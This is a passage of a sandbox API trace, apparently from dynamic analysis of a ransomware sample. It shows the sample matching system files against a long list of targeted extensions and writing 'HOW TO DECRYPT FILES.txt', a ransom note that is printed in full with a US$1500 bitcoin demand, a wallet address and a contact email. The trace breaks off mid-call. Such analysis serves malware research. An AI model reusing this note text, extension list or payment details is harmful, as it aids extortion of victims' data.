PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.pptx") returned 0 [0165.524] lstrlenA (lpString="*.pptx") returned 6 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.doc") returned 0 [0165.524] lstrlenA (lpString="*.doc") returned 5 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.dot") returned 0 [0165.524] lstrlenA (lpString="*.dot") returned 5 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.docx") returned 0 [0165.524] lstrlenA (lpString="*.docx") returned 6 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.7z") returned 0 [0165.524] lstrlenA (lpString="*.7z") returned 4 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.tar") returned 0 [0165.524] lstrlenA (lpString="*.tar") returned 5 [0165.524] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.bz2") returned 0 [0165.525] lstrlenA (lpString="*.bz2") returned 5 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.gz") returned 0 [0165.525] lstrlenA (lpString="*.gz") returned 4 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.mkv") returned 0 [0165.525] lstrlenA (lpString="*.mkv") returned 5 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.eml") returned 0 [0165.525] lstrlenA (lpString="*.eml") returned 5 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.msg") returned 0 [0165.525] lstrlenA (lpString="*.msg") returned 5 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.edb") returned 0 [0165.525] lstrlenA (lpString="*.edb") returned 5 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.accdb") returned 0 [0165.525] lstrlenA (lpString="*.accdb") returned 7 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.odb") returned 0 [0165.525] lstrlenA (lpString="*.odb") returned 5 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.java") returned 0 [0165.525] lstrlenA (lpString="*.java") returned 6 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.asm") returned 0 [0165.525] lstrlenA (lpString="*.asm") returned 5 [0165.525] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.pfx") returned 0 [0165.525] lstrlenA (lpString="*.pfx") returned 5 [0165.526] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.pem") returned 0 [0165.526] lstrlenA (lpString="*.pem") returned 5 [0165.526] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.p12") returned 0 [0165.526] lstrlenA (lpString="*.p12") returned 5 [0165.526] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.gpg") returned 0 [0165.526] lstrlenA (lpString="*.gpg") returned 5 [0165.526] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.vsd") returned 0 [0165.526] lstrlenA (lpString="*.vsd") returned 5 [0165.526] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.odg") returned 0 [0165.526] lstrlenA (lpString="*.odg") returned 5 [0165.526] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.raw") returned 0 [0165.526] lstrlenA (lpString="*.raw") returned 5 [0165.526] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.nef") returned 0 [0165.526] lstrlenA (lpString="*.nef") returned 5 [0165.526] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.svg") returned 0 [0165.527] lstrlenA (lpString="*.svg") returned 5 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.psd") returned 0 [0165.527] lstrlenA (lpString="*.psd") returned 5 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.vmx") returned 0 [0165.527] lstrlenA (lpString="*.vmx") returned 5 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.vmdk") returned 0 [0165.527] lstrlenA (lpString="*.vmdk") returned 6 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.vdi") returned 0 [0165.527] lstrlenA (lpString="*.vdi") returned 5 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.lay6") returned 0 [0165.527] lstrlenA (lpString="*.lay6") returned 6 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.mpeg") returned 0 [0165.527] lstrlenA (lpString="*.mpeg") returned 6 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.djvu") returned 0 [0165.527] lstrlenA (lpString="*.djvu") returned 6 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.tiff") returned 0 [0165.527] lstrlenA (lpString="*.tiff") returned 6 [0165.527] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.backup") returned 0 [0165.527] lstrlenA (lpString="*.backup") returned 8 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.pdf") returned 0 [0165.528] lstrlenA (lpString="*.pdf") returned 5 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.cert") returned 0 [0165.528] lstrlenA (lpString="*.cert") returned 6 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.docm") returned 0 [0165.528] lstrlenA (lpString="*.docm") returned 6 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.xlsm") returned 0 [0165.528] lstrlenA (lpString="*.xlsm") returned 6 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.dwg") returned 0 [0165.528] lstrlenA (lpString="*.dwg") returned 5 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.nd") returned 0 [0165.528] lstrlenA (lpString="*.nd") returned 4 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.tlg") returned 0 [0165.528] lstrlenA (lpString="*.tlg") returned 5 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.lgb") returned 0 [0165.528] lstrlenA (lpString="*.lgb") returned 5 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.mov") returned 0 [0165.528] lstrlenA (lpString="*.mov") returned 5 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.xdw") returned 0 [0165.528] lstrlenA (lpString="*.xdw") returned 5 [0165.528] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.ods") returned 0 [0165.529] lstrlenA (lpString="*.ods") returned 5 [0165.529] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.wav") returned 0 [0165.529] lstrlenA (lpString="*.wav") returned 5 [0165.529] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.mp3") returned 0 [0165.529] lstrlenA (lpString="*.mp3") returned 5 [0165.529] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.aiff") returned 0 [0165.529] lstrlenA (lpString="*.aiff") returned 6 [0165.529] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.flac") returned 0 [0165.529] lstrlenA (lpString="*.flac") returned 6 [0165.529] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.m4a") returned 0 [0165.529] lstrlenA (lpString="*.m4a") returned 5 [0165.529] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx", pszSpec="*.csv") returned 0 [0165.529] lstrlenA (lpString="*.csv") returned 5 [0165.529] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00ded32, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb00ded32, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90909e45, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe95, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppSetting.ascx", cAlternateFileName="APPSET~1.ASC")) returned 1 [0165.529] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.529] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppSetting.ascx") returned 1 [0165.529] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppSetting.ascx") returned 1 [0165.529] lstrcmpiA (lpString1="", lpString2="AppSetting.ascx") returned -1 [0165.529] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppConfigHome.aspx") returned="AppConfigHome.aspx" [0165.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" [0165.529] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="" [0165.529] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" [0165.530] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt")) returned 0xffffffff [0165.530] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.530] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.530] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.530] CloseHandle (hObject=0xffffffff) returned 0 [0165.530] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="AppSetting.ascx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx" [0165.530] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx", pszSpec="*.ems") returned 0 [0165.531] lstrlenA (lpString="*.ems") returned 5 [0165.531] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx", pszSpec="*.db") returned 0 [0165.531] lstrlenA (lpString="*.db") returned 4 [0165.531] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx", pszSpec="*.dbf") returned 0 [0165.531] lstrlenA (lpString="*.dbf") returned 5 [0165.531] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx", pszSpec="*.myox") returned 0 [0165.531] lstrlenA (lpString="*.myox") returned 6 [0165.531] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx", pszSpec="*.myo") returned 0 [0165.531] lstrlenA (lpString="*.myo") returned 5 [0165.531] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx", pszSpec="*.qbw") returned 0 [0165.532] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0151149, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0151149, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90956101, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateAppSetting.aspx", cAlternateFileName="CREATE~1.ASP")) returned 1 [0165.532] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.532] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CreateAppSetting.aspx") returned 1 [0165.532] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CreateAppSetting.aspx") returned 1 [0165.532] lstrcmpiA (lpString1="", lpString2="CreateAppSetting.aspx") returned -1 [0165.532] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\AppSetting.ascx") returned="AppSetting.ascx" [0165.532] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" [0165.532] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\") returned="" [0165.532] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" [0165.532] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt")) returned 0xffffffff [0165.532] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.533] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.533] CloseHandle (hObject=0xffffffff) returned 0 [0165.533] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\", lpString2="CreateAppSetting.aspx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\CreateAppSetting.aspx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\CreateAppSetting.aspx" [0165.533] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\CreateAppSetting.aspx", pszSpec="*.ems") returned 0 [0165.534] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb01c3560, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb01c3560, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9097c25f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DebugAndTrace.aspx", cAlternateFileName="DEBUGA~1.ASP")) returned 1 [0165.534] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.534] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DebugAndTrace.aspx") returned 1 [0165.534] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DebugAndTrace.aspx") returned 1 [0165.534] lstrcmpiA (lpString1="", lpString2="DebugAndTrace.aspx") returned -1 [0165.534] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appconfig_b03f5f7f11d50a3a_6.1.7600.16385_none_dba90e9e11c02732\\CreateAppSetting.aspx") returned="CreateAppSetting.aspx" [0165.534] lstrcpyA (in: lpString1=0x407019, 